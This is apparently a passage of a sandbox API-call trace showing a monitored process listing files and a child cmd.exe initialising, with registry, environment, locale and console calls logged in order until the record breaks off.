0x6c39f0 [0067.095] FindNextFileW (in: hFindFile=0x6c39f0, lpFindFileData=0x3abf094 | out: lpFindFileData=0x3abf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.096] FindNextFileW (in: hFindFile=0x6c39f0, lpFindFileData=0x3abf094 | out: lpFindFileData=0x3abf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 Thread: id = 22 os_tid = 0x82c Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x42b89000" os_pid = "0x15c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x57c" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x798 [0056.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24ff30 | out: lpSystemTimeAsFileTime=0x24ff30*(dwLowDateTime=0xea796460, dwHighDateTime=0x1d66148)) [0056.432] GetCurrentProcessId () returned 0x15c [0056.432] GetCurrentThreadId () returned 0x798 [0056.433] GetTickCount () returned 0x114565b [0056.433] QueryPerformanceCounter (in: lpPerformanceCount=0x24ff38 | out: lpPerformanceCount=0x24ff38*=17670846862) returned 1 [0056.435] GetModuleHandleW (lpModuleName=0x0) returned 0x4a470000 [0056.435] __set_app_type (_Type=0x1) [0056.435] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a497810) returned 0x0 [0056.435] __getmainargs (in: _Argc=0x4a4ba608, _Argv=0x4a4ba618, _Env=0x4a4ba610, _DoWildCard=0, _StartInfo=0x4a49e0f4 | out: _Argc=0x4a4ba608, _Argv=0x4a4ba618, _Env=0x4a4ba610) returned 0 [0056.436] GetCurrentThreadId () returned 0x798 [0056.436] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x798) returned 0x3c [0056.438] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0056.438] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0056.438] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0056.439] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0056.439] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fec8 | out: phkResult=0x24fec8*=0x0) returned 0x2 [0056.439] VirtualQuery (in: lpAddress=0x24feb0, lpBuffer=0x24fe30, dwLength=0x30 | out: lpBuffer=0x24fe30*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.439] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24fe30, dwLength=0x30 | out: lpBuffer=0x24fe30*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.439] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24fe30, dwLength=0x30 | out: lpBuffer=0x24fe30*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.439] VirtualQuery (in: lpAddress=0x154000, lpBuffer=0x24fe30, dwLength=0x30 | out: lpBuffer=0x24fe30*(BaseAddress=0x154000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.439] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24fe30, dwLength=0x30 | out: lpBuffer=0x24fe30*(BaseAddress=0x250000, AllocationBase=0x250000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0056.439] GetConsoleOutputCP () returned 0x1b5 [0056.439] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4abfe0 | out: lpCPInfo=0x4a4abfe0) returned 1 [0056.440] SetConsoleCtrlHandler (HandlerRoutine=0x4a493184, Add=1) returned 1 [0056.440] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.440] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0056.440] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.440] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a49e194 | out: lpMode=0x4a49e194) returned 0 [0056.440] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.440] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a49e198 | out: lpMode=0x4a49e198) returned 0 [0056.440] GetEnvironmentStringsW () returned 0x378a60* [0056.441] GetProcessHeap () returned 0x360000 [0056.441] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xa7c) returned 0x3794f0 [0056.441] FreeEnvironmentStringsW (penv=0x378a60) returned 1 [0056.441] GetProcessHeap () returned 0x360000 [0056.441] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x8) returned 0x3788e0 [0056.441] GetEnvironmentStringsW () returned 0x378a60* [0056.441] GetProcessHeap () returned 0x360000 [0056.441] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xa7c) returned 0x379f80 [0056.441] FreeEnvironmentStringsW (penv=0x378a60) returned 1 [0056.441] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24ed88 | out: phkResult=0x24ed88*=0x44) returned 0x0 [0056.441] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x0, lpData=0x24eda0*=0x18, lpcbData=0x24ed84*=0x1000) returned 0x2 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x4, lpData=0x24eda0*=0x1, lpcbData=0x24ed84*=0x4) returned 0x0 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x0, lpData=0x24eda0*=0x1, lpcbData=0x24ed84*=0x1000) returned 0x2 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x4, lpData=0x24eda0*=0x0, lpcbData=0x24ed84*=0x4) returned 0x0 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x4, lpData=0x24eda0*=0x40, lpcbData=0x24ed84*=0x4) returned 0x0 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x4, lpData=0x24eda0*=0x40, lpcbData=0x24ed84*=0x4) returned 0x0 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x0, lpData=0x24eda0*=0x40, lpcbData=0x24ed84*=0x1000) returned 0x2 [0056.442] RegCloseKey (hKey=0x44) returned 0x0 [0056.442] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24ed88 | out: phkResult=0x24ed88*=0x44) returned 0x0 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x0, lpData=0x24eda0*=0x40, lpcbData=0x24ed84*=0x1000) returned 0x2 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x4, lpData=0x24eda0*=0x1, lpcbData=0x24ed84*=0x4) returned 0x0 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x0, lpData=0x24eda0*=0x1, lpcbData=0x24ed84*=0x1000) returned 0x2 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x4, lpData=0x24eda0*=0x0, lpcbData=0x24ed84*=0x4) returned 0x0 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x4, lpData=0x24eda0*=0x9, lpcbData=0x24ed84*=0x4) returned 0x0 [0056.442] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x4, lpData=0x24eda0*=0x9, lpcbData=0x24ed84*=0x4) returned 0x0 [0056.443] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24ed80, lpData=0x24eda0, lpcbData=0x24ed84*=0x1000 | out: lpType=0x24ed80*=0x0, lpData=0x24eda0*=0x9, lpcbData=0x24ed84*=0x1000) returned 0x2 [0056.443] RegCloseKey (hKey=0x44) returned 0x0 [0056.443] time (in: timer=0x0 | out: timer=0x0) returned 0x5f1a1d05 [0056.443] srand (_Seed=0x5f1a1d05) [0056.443] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0056.443] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0056.443] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0056.443] GetProcessHeap () returned 0x360000 [0056.443] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x218) returned 0x37aa10 [0056.443] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x37aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0056.443] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a49f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0056.443] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a49f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.444] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a49f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0056.444] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0056.444] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0056.444] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0056.444] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0056.444] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0056.444] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0056.444] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0056.444] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0056.444] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0056.444] GetProcessHeap () returned 0x360000 [0056.444] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x3794f0 | out: hHeap=0x360000) returned 1 [0056.444] GetEnvironmentStringsW () returned 0x378a60* [0056.444] GetProcessHeap () returned 0x360000 [0056.444] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xa94) returned 0x37ac30 [0056.444] FreeEnvironmentStringsW (penv=0x378a60) returned 1 [0056.444] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a49f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0056.444] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a49f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0056.445] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0056.445] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0056.445] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0056.445] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0056.445] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0056.445] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0056.445] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0056.445] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0056.445] GetProcessHeap () returned 0x360000 [0056.445] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x5c) returned 0x37b6d0 [0056.445] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24fb90 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0056.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x24fb90, lpFilePart=0x24fb70 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24fb70*="Desktop") returned 0x25 [0056.445] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0056.445] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x24f8a0 | out: lpFindFileData=0x24f8a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x37b740 [0056.445] FindClose (in: hFindFile=0x37b740 | out: hFindFile=0x37b740) returned 1 [0056.446] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x24f8a0 | out: lpFindFileData=0x24f8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x37b740 [0056.446] FindClose (in: hFindFile=0x37b740 | out: hFindFile=0x37b740) returned 1 [0056.446] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0056.446] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x24f8a0 | out: lpFindFileData=0x24f8a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe1f73b00, ftLastAccessTime.dwHighDateTime=0x1d66148, ftLastWriteTime.dwLowDateTime=0xe1f73b00, ftLastWriteTime.dwHighDateTime=0x1d66148, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x37b740 [0056.446] FindClose (in: hFindFile=0x37b740 | out: hFindFile=0x37b740) returned 1 [0056.446] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0056.446] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0056.446] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0056.446] GetProcessHeap () returned 0x360000 [0056.446] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ac30 | out: hHeap=0x360000) returned 1 [0056.446] GetEnvironmentStringsW () returned 0x37b740* [0056.447] GetProcessHeap () returned 0x360000 [0056.447] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xae8) returned 0x37c230 [0056.447] FreeEnvironmentStringsW (penv=0x37b740) returned 1 [0056.447] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0056.447] GetProcessHeap () returned 0x360000 [0056.447] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37b6d0 | out: hHeap=0x360000) returned 1 [0056.447] GetProcessHeap () returned 0x360000 [0056.447] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x4016) returned 0x37cd20 [0056.447] GetProcessHeap () returned 0x360000 [0056.447] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd20 | out: hHeap=0x360000) returned 1 [0056.447] GetConsoleOutputCP () returned 0x1b5 [0056.448] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4abfe0 | out: lpCPInfo=0x4a4abfe0) returned 1 [0056.448] GetUserDefaultLCID () returned 0x409 [0056.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a4a7b50, cchData=8 | out: lpLCData=":") returned 2 [0056.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24fca0, cchData=128 | out: lpLCData="0") returned 2 [0056.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24fca0, cchData=128 | out: lpLCData="0") returned 2 [0056.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24fca0, cchData=128 | out: lpLCData="1") returned 2 [0056.448] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a4ba740, cchData=8 | out: lpLCData="/") returned 2 [0056.449] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a4ba4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0056.449] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a4ba460, cchData=32 | out: lpLCData="Tue") returned 4 [0056.449] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a4ba420, cchData=32 | out: lpLCData="Wed") returned 4 [0056.449] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a4ba3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0056.449] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a4ba3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0056.449] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a4ba360, cchData=32 | out: lpLCData="Sat") returned 4 [0056.449] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a4ba700, cchData=32 | out: lpLCData="Sun") returned 4 [0056.449] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a4a7b40, cchData=8 | out: lpLCData=".") returned 2 [0056.449] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a4ba4e0, cchData=8 | out: lpLCData=",") returned 2 [0056.449] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0056.450] GetProcessHeap () returned 0x360000 [0056.450] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x0, Size=0x20c) returned 0x3795c0 [0056.450] GetConsoleTitleW (in: lpConsoleTitle=0x3795c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0056.451] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.451] GetFileType (hFile=0xf4) returned 0x3 [0056.451] BrandingFormatString () returned 0x3797e0 [0056.457] GetVersion () returned 0x1db10106 [0056.457] _vsnwprintf (in: _Buffer=0x24fe10, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x24fda8 | out: _Buffer="6.1.7601") returned 8 [0056.457] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.457] GetFileType (hFile=0xf4) returned 0x3 [0056.457] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a4b6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0056.457] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a4b6340, nSize=0x2000, Arguments=0x24fdb0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0056.457] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a4ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0056.457] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4ac320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x24fd38, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesWritten=0x24fd38*=0x24, lpOverlapped=0x0) returned 1 [0056.457] _vsnwprintf (in: _Buffer=0x4a4b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24fdd8 | out: _Buffer="\r\n") returned 2 [0056.457] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.457] GetFileType (hFile=0xf4) returned 0x3 [0056.458] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a4ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0056.458] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24fda8, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesWritten=0x24fda8*=0x2, lpOverlapped=0x0) returned 1 [0056.458] _vsnwprintf (in: _Buffer=0x4a4b6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x24fdd8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0056.458] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.458] GetFileType (hFile=0xf4) returned 0x3 [0056.458] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a4ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0056.458] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4ac320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x24fda8, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesWritten=0x24fda8*=0x3f, lpOverlapped=0x0) returned 1 [0056.458] _vsnwprintf (in: _Buffer=0x4a4b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24fdd8 | out: _Buffer="\r\n") returned 2 [0056.458] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.458] GetFileType (hFile=0xf4) returned 0x3 [0056.458] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a4ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0056.458] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24fda8, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesWritten=0x24fda8*=0x2, lpOverlapped=0x0) returned 1 [0056.460] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0056.460] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0056.460] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0056.460] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0056.460] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.461] GetFileType (hFile=0xe8) returned 0x3 [0056.461] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0056.461] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x24fc00 | out: TokenHandle=0x24fc00*=0x0) returned 0xc000007c [0056.461] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x24fc00 | out: TokenHandle=0x24fc00*=0x50) returned 0x0 [0056.461] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x24fc10, TokenInformationLength=0x4, ReturnLength=0x24fc18 | out: TokenInformation=0x24fc10, ReturnLength=0x24fc18) returned 0x0 [0056.461] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x24fc18, TokenInformationLength=0x4, ReturnLength=0x24fc10 | out: TokenInformation=0x24fc18, ReturnLength=0x24fc10) returned 0x0 [0056.461] NtClose (Handle=0x50) returned 0x0 [0056.461] FormatMessageW (in: 